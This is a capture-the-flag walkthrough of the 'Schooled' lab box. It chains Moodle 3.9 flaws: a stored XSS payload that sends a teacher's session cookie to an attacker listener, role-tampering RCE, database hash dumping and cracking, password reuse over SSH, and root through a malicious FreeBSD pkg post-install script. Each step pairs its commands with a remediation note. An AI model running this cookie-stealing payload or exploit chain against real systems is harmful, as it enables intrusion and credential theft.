Schooled
Summary
I found a hidden Moodle 3.9 virtual host on the Apache server through HTTP Host-header fuzzing, then registered a student account using the platform's open self-enrolment feature. A stored XSS vulnerability (CVE-2020-25627) in the unsanitized MoodleNet profile field was used to steal an authenticated teacher session cookie when the teacher auto-reviewed my profile. With teacher access, a second Moodle flaw (CVE-2020-14321) was chained: the course-enrolment API accepted a tampered role parameter, granting me a site-wide Manager role.
That role was used to install a malicious PHP block plugin that executed OS commands as the FreeBSD web service account. The Moodle configuration file exposed database credentials in plaintext; querying the database yielded the Moodle admin's bcrypt password hash, which was cracked offline. The same password was reused verbatim by FreeBSD OS account 'jamie', granting an SSH shell and the user flag.
Jamie could run the FreeBSD package manager under sudo without a password, and a package's own install scripts run as root by design — so a package built locally, with a post-install script of my choosing, is a root shell wrapped in a .txz.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered, for jamie>"Some commands also carry a value in angle brackets — <default_size>, <sesskey> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 4
Initial service fingerprint; confirms Apache 2.4.46, PHP 7.4.15, OpenSSH 7.9.
$ nmap -Pn -sV -p 22,80,33060 $TARGETReplace <default_size> with the byte count of a non-matching host response to filter false positives; moodle will show a different size.
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET -H 'Host: FUZZ.schooled.htb' -fs <default_size>Add both vhosts to local resolution.
$ echo "$TARGET schooled.htb moodle.schooled.htb" | sudo tee -a /etc/hostsConfirm Moodle version 3.9.
$ curl -s http://moodle.schooled.htb/moodle/lib/upgrade.txt | head -10Exact commands 3
Fetch the signup page to observe the required email domain hint in the page text.
$ curl -s http://moodle.schooled.htb/moodle/login/signup.phpSubmit the registration form; retrieve <sesskey> from the page GET response first.
$ curl -s -c cookies.txt -b cookies.txt -X POST 'http://moodle.schooled.htb/moodle/login/signup.php' -d "username=$USERNAME&password=$PASSWORD2&email=$USERNAME%40student.schooled.htb&firstname=Att&lastname=Acker&sesskey=<sesskey>"Self-enrol in Mathematics course (id=5); no enrolment key required.
$ curl -s -c cookies.txt -b cookies.txt 'http://moodle.schooled.htb/moodle/enrol/index.php?id=5'FixRestrict Moodle self-registration to approved users onlyMedium
Exact commands 3
Start HTTP listener on my machine; leave running to catch the inbound cookie beacon from the teacher's browser.
$ python3 -m http.server 8000Set the MoodleNet profile field to the XSS payload; replace $ATTACKER_IP with your listener IP and <sesskey> from the edit-profile page source.
$ curl -s -c cookies.txt -b cookies.txt -X POST 'http://moodle.schooled.htb/moodle/user/editadvanced.php' --data-urlencode 'moodlenetprofile=<script>document.location="http://'"$ATTACKER_IP"':8000/?"+document.cookie</script>' -d 'sesskey=<sesskey>'The teacher auto-reviews profiles; the callback typically fires within 1-3 minutes.
$ # Watch the HTTP server output for: GET /?MoodleSession=<TEACHER_TOKEN> - copy this valueFixPatch CVE-2020-25627 — sanitize the MoodleNet profile field to eliminate stored XSSHigh
Exact commands 2
Public exploit automates the full role-tamper + plugin-install chain; replace <TEACHER_TOKEN> with the captured cookie and <YOUR_USER_ID> with your Moodle uid (visible at /moodle/user/profile.php after login).
$ python3 50180.py http://moodle.schooled.htb/moodle --cookie 'MoodleSession=<TEACHER_TOKEN>' -idm <YOUR_USER_ID> -idc 5 -c 'id'Confirm FreeBSD OS context and www service account.
$ python3 50180.py http://moodle.schooled.htb/moodle --cookie 'MoodleSession=<TEACHER_TOKEN>' -idm <YOUR_USER_ID> -idc 5 -c 'uname -a; id; hostname'FixPatch CVE-2020-14321 — prevent teachers from escalating their own Moodle roleCritical
Exact commands 3
Read the Moodle config file via RCE; note the $CFG->dbuser and $CFG->dbpass values.
$ python3 50180.py http://moodle.schooled.htb/moodle --cookie 'MoodleSession=<TEACHER_TOKEN>' -idm <YOUR_USER_ID> -idc 5 -c 'cat /usr/local/www/apache24/data/moodle/config.php'Dump the admin bcrypt hash directly from the Moodle database on the target.
$ python3 50180.py http://moodle.schooled.htb/moodle --cookie 'MoodleSession=<TEACHER_TOKEN>' -idm <YOUR_USER_ID> -idc 5 -c "/usr/local/bin/mysql -umoodle -p$PASSWORD moodle -N -e \"SELECT username,password FROM mdl_user WHERE username='admin';\""Save the full bcrypt hash to admin.hash; john recovers $PASSWORD3.
$ echo '$2y$10$<HASH_STRING>' > admin.hash && john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt admin.hashFixEnforce unique passwords for every account; never share credentials between the application and the OSHigh
Exact commands 1
Authenticate as jamie using the cracked Moodle admin password; captures user.txt.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=keyboard-interactive,password -o PubkeyAuthentication=no jamie@$TARGET 'id; cat ~/user.txt'
uid=1001(jamie) gid=1001(jamie) groups=1001(jamie),0(wheel)FixDisable SSH password authentication and require public-key loginMedium
Exact commands 5
As jamie. Pkg install and pkg update, both passwordless, is the whole finding.
$ sudo -lThe script pkg will run as root during installation. A SUID copy of the shell is the smallest thing that survives the install finishing.
$ mkdir -p /tmp/pwn/root && cd /tmp/pwn && printf '#!/bin/sh\ncp /bin/sh /tmp/rootsh\nchmod 4755 /tmp/rootsh\n' > +POST_INSTALL && chmod +x +POST_INSTALLA manifest and a root directory are all pkg needs to build a .txz.
$ printf 'name: pwn\nversion: "1.0"\norigin: local/pwn\ncomment: x\ndesc: x\nmaintainer: x@localhost\nwww: http://localhost\nprefix: /tmp\n' > +MANIFEST && pkg create -M +MANIFEST -r /tmp/pwn -o /tmp--no-repo-update keeps it local; the post-install script runs as root as the package lands.
$ sudo pkg install -y --no-repo-update /tmp/pwn-1.0.txz-p keeps the effective uid the SUID bit granted -> <root.txt>
$ /tmp/rootsh -p -c 'id; cat /root/root.txt'FixRemove the unrestricted sudo pkg install rule and lock down the package repository configurationCritical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15) |
| 33060/tcp | mysqlx MySQL X protocol listener |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.